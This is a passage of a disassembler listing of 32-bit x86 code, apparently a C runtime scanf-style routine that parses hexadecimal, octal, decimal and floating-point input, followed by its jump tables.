		add	al, 1
		mov	[ebp+var_18], al
		jmp	short loc_42CF3E
; ---------------------------------------------------------------------------


loc_42CF23:				; CODE XREF: sub_42C5E0+92Ej
					; sub_42C5E0+937j
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42CF3E:				; CODE XREF: sub_42C5E0:loc_42CEDEj
					; sub_42C5E0+91Fj ...
		cmp	[ebp+var_1DC], 0
		jz	loc_42D139


loc_42CF4B:				; CODE XREF: sub_42C5E0:loc_42D114j
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	loc_42D119
		cmp	[ebp+var_C], 78h
		jnz	loc_42CFE6
		cmp	dword_4524F0, 1
		jle	short loc_42CF86
		push	80h
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_208], eax
		jmp	short loc_42CFA3
; ---------------------------------------------------------------------------


loc_42CF86:				; CODE XREF: sub_42C5E0+988j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 80h
		mov	[ebp+var_208], ecx


loc_42CFA3:				; CODE XREF: sub_42C5E0+9A4j
		cmp	[ebp+var_208], 0
		jz	short loc_42CFD9
		mov	ecx, 4
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_4347D0
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_42D9C0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	short loc_42CFE1
; ---------------------------------------------------------------------------


loc_42CFD9:				; CODE XREF: sub_42C5E0+9CAj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_42CFE1:				; CODE XREF: sub_42C5E0+9F7j
		jmp	loc_42D08D
; ---------------------------------------------------------------------------


loc_42CFE6:				; CODE XREF: sub_42C5E0+97Bj
		cmp	dword_4524F0, 1
		jle	short loc_42D008
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_20C], eax
		jmp	short loc_42D022
; ---------------------------------------------------------------------------


loc_42D008:				; CODE XREF: sub_42C5E0+A0Dj
		mov	edx, [ebp+var_1D8]
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_20C], ecx


loc_42D022:				; CODE XREF: sub_42C5E0+A26j
		cmp	[ebp+var_20C], 0
		jz	short loc_42D085
		cmp	[ebp+var_C], 6Fh
		jnz	short loc_42D05D
		cmp	[ebp+var_1D8], 38h
		jge	short loc_42D052
		mov	ecx, 3
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_4347D0
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		jmp	short loc_42D05B
; ---------------------------------------------------------------------------


loc_42D052:				; CODE XREF: sub_42C5E0+A58j
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl


loc_42D05B:				; CODE XREF: sub_42C5E0+A70j
		jmp	short loc_42D083
; ---------------------------------------------------------------------------


loc_42D05D:				; CODE XREF: sub_42C5E0+A4Fj
		mov	ecx, 2
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_4347D0
		add	eax, [ebp+var_30]
		adc	edx, [ebp+var_2C]
		mov	ecx, 1
		call	sub_4347D0
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx


loc_42D083:				; CODE XREF: sub_42C5E0:loc_42D05Bj
		jmp	short loc_42D08D
; ---------------------------------------------------------------------------


loc_42D085:				; CODE XREF: sub_42C5E0+A49j
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_42D08D:				; CODE XREF: sub_42C5E0:loc_42CFE1j
					; sub_42C5E0:loc_42D083j
		movsx	ecx, [ebp+var_18]
		test	ecx, ecx
		jnz	short loc_42D0F8
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx
		mov	eax, [ebp+var_1D8]
		sub	eax, 30h
		cdq
		mov	ecx, [ebp+var_30]
		add	ecx, eax
		mov	eax, [ebp+var_2C]
		adc	eax, edx
		mov	[ebp+var_30], ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_1E8], 0
		jz	short loc_42D0DB
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		cmp	[ebp+var_1C], 0
		jnz	short loc_42D0DB
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl
		jmp	short loc_42D0F6
; ---------------------------------------------------------------------------


loc_42D0DB:				; CODE XREF: sub_42C5E0+ADFj
					; sub_42C5E0+AEEj
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42D0F6:				; CODE XREF: sub_42C5E0+AF9j
		jmp	short loc_42D114
; ---------------------------------------------------------------------------


loc_42D0F8:				; CODE XREF: sub_42C5E0+AB3j
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_42DA80
		add	esp, 8


loc_42D114:				; CODE XREF: sub_42C5E0:loc_42D0F6j
		jmp	loc_42CF4B
; ---------------------------------------------------------------------------


loc_42D119:				; CODE XREF: sub_42C5E0+971j
		movsx	edx, [ebp+var_68]
		test	edx, edx
		jz	short loc_42D134
		mov	eax, [ebp+var_30]
		neg	eax
		mov	ecx, [ebp+var_2C]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], ecx


loc_42D134:				; CODE XREF: sub_42C5E0+B3Fj
		jmp	loc_42D2DD
; ---------------------------------------------------------------------------


loc_42D139:				; CODE XREF: sub_42C5E0+965j
					; sub_42C5E0:loc_42D2C8j
		movsx	edx, [ebp+var_18]
		test	edx, edx
		jnz	loc_42D2CD
		cmp	[ebp+var_C], 78h
		jz	short loc_42D151
		cmp	[ebp+var_C], 70h
		jnz	short loc_42D1C9


loc_42D151:				; CODE XREF: sub_42C5E0+B69j
		cmp	dword_4524F0, 1
		jle	short loc_42D176
		push	80h
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_210], eax
		jmp	short loc_42D193
; ---------------------------------------------------------------------------


loc_42D176:				; CODE XREF: sub_42C5E0+B78j
		mov	ecx, [ebp+var_1D8]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 80h
		mov	[ebp+var_210], eax


loc_42D193:				; CODE XREF: sub_42C5E0+B94j
		cmp	[ebp+var_210], 0
		jz	short loc_42D1BC
		mov	ecx, [ebp+var_40]
		shl	ecx, 4
		mov	[ebp+var_40], ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_42D9C0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	short loc_42D1C4
; ---------------------------------------------------------------------------


loc_42D1BC:				; CODE XREF: sub_42C5E0+BBAj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_42D1C4:				; CODE XREF: sub_42C5E0+BDAj
		jmp	loc_42D24B
; ---------------------------------------------------------------------------


loc_42D1C9:				; CODE XREF: sub_42C5E0+B6Fj
		cmp	dword_4524F0, 1
		jle	short loc_42D1EB
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_214], eax
		jmp	short loc_42D205
; ---------------------------------------------------------------------------


loc_42D1EB:				; CODE XREF: sub_42C5E0+BF0j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_214], ecx


loc_42D205:				; CODE XREF: sub_42C5E0+C09j
		cmp	[ebp+var_214], 0
		jz	short loc_42D242
		cmp	[ebp+var_C], 6Fh
		jnz	short loc_42D232
		cmp	[ebp+var_1D8], 38h
		jge	short loc_42D228
		mov	edx, [ebp+var_40]
		shl	edx, 3
		mov	[ebp+var_40], edx
		jmp	short loc_42D230
; ---------------------------------------------------------------------------


loc_42D228:				; CODE XREF: sub_42C5E0+C3Bj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_42D230:				; CODE XREF: sub_42C5E0+C46j
		jmp	short loc_42D240
; ---------------------------------------------------------------------------


loc_42D232:				; CODE XREF: sub_42C5E0+C32j
		mov	ecx, [ebp+var_40]
		mov	edx, [ebp+var_40]
		lea	eax, [edx+ecx*4]
		shl	eax, 1
		mov	[ebp+var_40], eax


loc_42D240:				; CODE XREF: sub_42C5E0:loc_42D230j
		jmp	short loc_42D24B
; ---------------------------------------------------------------------------


loc_42D242:				; CODE XREF: sub_42C5E0+C2Cj
		mov	cl, [ebp+var_18]
		add	cl, 1
		mov	[ebp+var_18], cl


loc_42D24B:				; CODE XREF: sub_42C5E0:loc_42D1C4j
					; sub_42C5E0:loc_42D240j
		movsx	edx, [ebp+var_18]
		test	edx, edx
		jnz	short loc_42D2AC
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		mov	ecx, [ebp+var_1D8]
		mov	edx, [ebp+var_40]
		lea	eax, [edx+ecx-30h]
		mov	[ebp+var_40], eax
		cmp	[ebp+var_1E8], 0
		jz	short loc_42D28F
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		cmp	[ebp+var_1C], 0
		jnz	short loc_42D28F
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl
		jmp	short loc_42D2AA
; ---------------------------------------------------------------------------


loc_42D28F:				; CODE XREF: sub_42C5E0+C93j
					; sub_42C5E0+CA2j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42D2AA:				; CODE XREF: sub_42C5E0+CADj
		jmp	short loc_42D2C8
; ---------------------------------------------------------------------------


loc_42D2AC:				; CODE XREF: sub_42C5E0+C71j
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_42DA80
		add	esp, 8


loc_42D2C8:				; CODE XREF: sub_42C5E0:loc_42D2AAj
		jmp	loc_42D139
; ---------------------------------------------------------------------------


loc_42D2CD:				; CODE XREF: sub_42C5E0+B5Fj
		movsx	edx, [ebp+var_68]
		test	edx, edx
		jz	short loc_42D2DD
		mov	eax, [ebp+var_40]
		neg	eax
		mov	[ebp+var_40], eax


loc_42D2DD:				; CODE XREF: sub_42C5E0:loc_42D134j
					; sub_42C5E0+CF3j
		cmp	[ebp+var_C], 46h
		jnz	short loc_42D2EA
		mov	[ebp+var_6C], 0


loc_42D2EA:				; CODE XREF: sub_42C5E0+D01j
		cmp	[ebp+var_6C], 0
		jz	short loc_42D338
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	short loc_42D336
		mov	edx, [ebp+var_34]
		add	edx, 1
		mov	[ebp+var_34], edx


loc_42D301:				; CODE XREF: sub_42C5E0+D70j
		cmp	[ebp+var_1DC], 0
		jz	short loc_42D31A
		mov	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_30]
		mov	[eax], ecx
		mov	edx, [ebp+var_2C]
		mov	[eax+4], edx
		jmp	short loc_42D336
; ---------------------------------------------------------------------------


loc_42D31A:				; CODE XREF: sub_42C5E0+D28j
		movsx	eax, [ebp+var_38]
		test	eax, eax
		jz	short loc_42D32C
		mov	ecx, [ebp+var_3C]
		mov	edx, [ebp+var_40]
		mov	[ecx], edx
		jmp	short loc_42D336
; ---------------------------------------------------------------------------


loc_42D32C:				; CODE XREF: sub_42C5E0+D40j
		mov	eax, [ebp+var_3C]
		mov	cx, word ptr [ebp+var_40]
		mov	[eax], cx


loc_42D336:				; CODE XREF: sub_42C5E0+D16j
					; sub_42C5E0+D38j ...
		jmp	short loc_42D33D
; ---------------------------------------------------------------------------


loc_42D338:				; CODE XREF: sub_42C5E0+D0Ej
		jmp	loc_42D8CA
; ---------------------------------------------------------------------------


loc_42D33D:				; CODE XREF: sub_42C5E0:loc_42D336j
		jmp	loc_42D774
; ---------------------------------------------------------------------------


loc_42D342:				; CODE XREF: sub_42C5E0+3C4j
					; DATA XREF: .XComp0:0042D986o
		mov	edx, [ebp+var_20]
		mov	[ebp+var_40], edx
		movsx	eax, [ebp+var_70]
		test	eax, eax
		jnz	short loc_42D352
		jmp	short loc_42D301
; ---------------------------------------------------------------------------


loc_42D352:				; CODE XREF: sub_42C5E0+D6Ej
		jmp	loc_42D774
; ---------------------------------------------------------------------------


loc_42D357:				; CODE XREF: sub_42C5E0+3C4j
					; DATA XREF: .XComp0:0042D97Eo
		lea	ecx, [ebp+var_1D0]
		mov	[ebp+var_1E0], ecx
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_42D386
		mov	edx, [ebp+var_1E0]
		mov	byte ptr [edx],	2Dh
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax
		jmp	short loc_42D38F
; ---------------------------------------------------------------------------


loc_42D386:				; CODE XREF: sub_42C5E0+D8Aj
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_42D3B3


loc_42D38F:				; CODE XREF: sub_42C5E0+DA4j
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42D3B3:				; CODE XREF: sub_42C5E0+DADj
		cmp	[ebp+var_1E8], 0
		jz	short loc_42D3C5
		cmp	[ebp+var_1C], 15Dh
		jle	short loc_42D3CC


loc_42D3C5:				; CODE XREF: sub_42C5E0+DDAj
		mov	[ebp+var_1C], 15Dh


loc_42D3CC:				; CODE XREF: sub_42C5E0+DE3j
					; sub_42C5E0+E82j
		cmp	dword_4524F0, 1
		jle	short loc_42D3EE
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_218], eax
		jmp	short loc_42D408
; ---------------------------------------------------------------------------


loc_42D3EE:				; CODE XREF: sub_42C5E0+DF3j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_218], ecx


loc_42D408:				; CODE XREF: sub_42C5E0+E0Cj
		cmp	[ebp+var_218], 0
		jz	short loc_42D467
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		test	edx, edx
		jz	short loc_42D467
		mov	ecx, [ebp+var_6C]
		add	ecx, 1
		mov	[ebp+var_6C], ecx
		mov	edx, [ebp+var_1E0]
		mov	al, byte ptr [ebp+var_1D8]
		mov	[edx], al
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_42D3CC
; ---------------------------------------------------------------------------


loc_42D467:				; CODE XREF: sub_42C5E0+E2Fj
					; sub_42C5E0+E3Fj
		movsx	ecx, byte_4524F4
		movsx	edx, byte ptr [ebp+var_1D8]
		cmp	ecx, edx
		jnz	loc_42D564
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	loc_42D564
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	ecx, [ebp+var_1E0]
		mov	dl, byte_4524F4
		mov	[ecx], dl
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax


loc_42D4C9:				; CODE XREF: sub_42C5E0+F7Fj
		cmp	dword_4524F0, 1
		jle	short loc_42D4EB
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_21C], eax
		jmp	short loc_42D505
; ---------------------------------------------------------------------------


loc_42D4EB:				; CODE XREF: sub_42C5E0+EF0j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_21C], ecx


loc_42D505:				; CODE XREF: sub_42C5E0+F09j
		cmp	[ebp+var_21C], 0
		jz	short loc_42D564
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		test	edx, edx
		jz	short loc_42D564
		mov	ecx, [ebp+var_6C]
		add	ecx, 1
		mov	[ebp+var_6C], ecx
		mov	edx, [ebp+var_1E0]
		mov	al, byte ptr [ebp+var_1D8]
		mov	[edx], al
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_42D4C9
; ---------------------------------------------------------------------------


loc_42D564:				; CODE XREF: sub_42C5E0+E97j
					; sub_42C5E0+EABj ...
		cmp	[ebp+var_6C], 0
		jz	loc_42D6C9
		cmp	[ebp+var_1D8], 65h
		jz	short loc_42D584
		cmp	[ebp+var_1D8], 45h
		jnz	loc_42D6C9


loc_42D584:				; CODE XREF: sub_42C5E0+F95j
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		test	ecx, ecx
		jz	loc_42D6C9
		mov	eax, [ebp+var_1E0]
		mov	byte ptr [eax],	65h
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_42D5EE
		mov	ecx, [ebp+var_1E0]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		jmp	short loc_42D5F7
; ---------------------------------------------------------------------------


loc_42D5EE:				; CODE XREF: sub_42C5E0+FF2j
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_42D62D


loc_42D5F7:				; CODE XREF: sub_42C5E0+100Cj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jnz	short loc_42D612
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	[ebp+var_1C], edx
		jmp	short loc_42D62D
; ---------------------------------------------------------------------------


loc_42D612:				; CODE XREF: sub_42C5E0+1025j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42D62D:				; CODE XREF: sub_42C5E0+1015j
					; sub_42C5E0+1030j ...
		cmp	dword_4524F0, 1
		jle	short loc_42D64F
		push	4
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_220], eax
		jmp	short loc_42D66A
; ---------------------------------------------------------------------------


loc_42D64F:				; CODE XREF: sub_42C5E0+1054j
		mov	eax, [ebp+var_1D8]
		mov	ecx, off_4522E4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_220], edx


loc_42D66A:				; CODE XREF: sub_42C5E0+106Dj
		cmp	[ebp+var_220], 0
		jz	short loc_42D6C9
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	short loc_42D6C9
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx
		mov	eax, [ebp+var_1E0]
		mov	cl, byte ptr [ebp+var_1D8]
		mov	[eax], cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_42D62D
; ---------------------------------------------------------------------------


loc_42D6C9:				; CODE XREF: sub_42C5E0+F88j
					; sub_42C5E0+F9Ej ...
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_42DA80
		add	esp, 8
		cmp	[ebp+var_6C], 0
		jz	short loc_42D723
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_42D721
		mov	eax, [ebp+var_34]
		add	eax, 1
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_1E0]
		mov	byte ptr [ecx],	0
		lea	edx, [ebp+var_1D0]
		push	edx
		mov	eax, [ebp+var_3C]
		push	eax
		movsx	ecx, [ebp+var_38]
		sub	ecx, 1
		push	ecx
		call	off_4528A0
		add	esp, 0Ch


loc_42D721:				; CODE XREF: sub_42C5E0+1111j
		jmp	short loc_42D728
; ---------------------------------------------------------------------------


loc_42D723:				; CODE XREF: sub_42C5E0+1109j
		jmp	loc_42D8CA
; ---------------------------------------------------------------------------


loc_42D728:				; CODE XREF: sub_42C5E0:loc_42D721j
		jmp	short loc_42D774
; ---------------------------------------------------------------------------


loc_42D72A:				; CODE XREF: sub_42C5E0+3B0j
					; sub_42C5E0+3C4j
					; DATA XREF: ...
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, [ebp+var_1D8]
		jz	short loc_42D75A
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_42DA80
		add	esp, 8
		jmp	loc_42D8CA
; ---------------------------------------------------------------------------


loc_42D75A:				; CODE XREF: sub_42C5E0+1157j
		mov	cl, [ebp+var_28]
		sub	cl, 1
		mov	[ebp+var_28], cl
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_42D774
		mov	eax, [ebp+var_1D4]
		mov	[ebp+arg_8], eax


loc_42D774:				; CODE XREF: sub_42C5E0:loc_42CDD6j
					; sub_42C5E0:loc_42D33Dj ...
		mov	cl, [ebp+var_28]
		add	cl, 1
		mov	[ebp+var_28], cl
		jmp	short loc_42D7A0
; ---------------------------------------------------------------------------


loc_42D77F:				; CODE XREF: sub_42C5E0+38Bj
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_42DA80
		add	esp, 8
		jmp	loc_42D8CA
; ---------------------------------------------------------------------------


loc_42D7A0:				; CODE XREF: sub_42C5E0+119Dj
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		jmp	loc_42D8A1
; ---------------------------------------------------------------------------


loc_42D7AE:				; CODE XREF: sub_42C5E0+11Dj
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	esi, edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	ecx, [ebp+var_1D8]
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		cmp	esi, ecx
		jz	short loc_42D806
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_42DA80
		add	esp, 8
		jmp	loc_42D8CA
; ---------------------------------------------------------------------------


loc_42D806:				; CODE XREF: sub_42C5E0+1203j
		mov	eax, [ebp+var_1D8]
		and	eax, 0FFh
		mov	ecx, off_4522E4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_42D8A1
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	esi, edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1F4], eax
		mov	ecx, [ebp+var_1F4]
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		cmp	esi, ecx
		jz	short loc_42D898
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1F4]
		push	edx
		call	sub_42DA80
		add	esp, 8
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_42DA80
		add	esp, 8
		jmp	short loc_42D8CA
; ---------------------------------------------------------------------------


loc_42D898:				; CODE XREF: sub_42C5E0+127Cj
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax


loc_42D8A1:				; CODE XREF: sub_42C5E0+11C9j
					; sub_42C5E0+1245j
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jnz	short loc_42D8C5
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 25h
		jnz	short loc_42D8C3
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	ecx, 6Eh
		jz	short loc_42D8C5


loc_42D8C3:				; CODE XREF: sub_42C5E0+12D4j
		jmp	short loc_42D8CA
; ---------------------------------------------------------------------------


loc_42D8C5:				; CODE XREF: sub_42C5E0+12C8j
					; sub_42C5E0+12E1j
		jmp	loc_42C657
; ---------------------------------------------------------------------------


loc_42D8CA:				; CODE XREF: sub_42C5E0+80j
					; sub_42C5E0+635j ...
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jnz	short loc_42D8FE
		cmp	[ebp+var_34], 0
		jnz	short loc_42D8ED
		movsx	edx, [ebp+var_28]
		test	edx, edx
		jnz	short loc_42D8ED
		mov	[ebp+var_224], 0FFFFFFFFh
		jmp	short loc_42D8F6
; ---------------------------------------------------------------------------


loc_42D8ED:				; CODE XREF: sub_42C5E0+12F7j
					; sub_42C5E0+12FFj
		mov	eax, [ebp+var_34]
		mov	[ebp+var_224], eax


loc_42D8F6:				; CODE XREF: sub_42C5E0+130Bj
		mov	eax, [ebp+var_224]
		jmp	short loc_42D901
; ---------------------------------------------------------------------------


loc_42D8FE:				; CODE XREF: sub_42C5E0+12F1j
		mov	eax, [ebp+var_34]


loc_42D901:				; CODE XREF: sub_42C5E0+131Cj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C5E0	endp

; ---------------------------------------------------------------------------
off_42D908	dd offset loc_42C89A	; DATA XREF: sub_42C5E0+239r
		dd offset loc_42C820
		dd offset loc_42C838
		dd offset loc_42C87C
		dd offset loc_42C825
		dd offset loc_42C887
		dd offset loc_42C88F
		dd offset loc_42C8A5
byte_42D928	db 0			; DATA XREF: sub_42C5E0+233r
		db 3 dup(7)
		dd 6 dup(7070707h), 2070701h, 7030707h,	7070701h, 5 dup(7070707h)
		dd 7040707h, 7050707h, 2 dup(7070707h)
		db 7, 6
off_42D976	dd offset loc_42C9AB	; DATA XREF: sub_42C5E0+3C4r
		dd offset loc_42CEE4
		dd offset loc_42D357
		dd offset loc_42CDDB
		dd offset loc_42D342
		dd offset loc_42CEE0
		dd offset loc_42C9F1
		dd offset loc_42CDE2
		dd offset loc_42CA16
		dd offset loc_42D72A
byte_42D99E	db 0			; DATA XREF: sub_42C5E0+3BEr
		db 1
		dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h
		dd 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D9C0	proc near		; CODE XREF: sub_42C5E0+9E9p
					; sub_42C5E0+BCCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
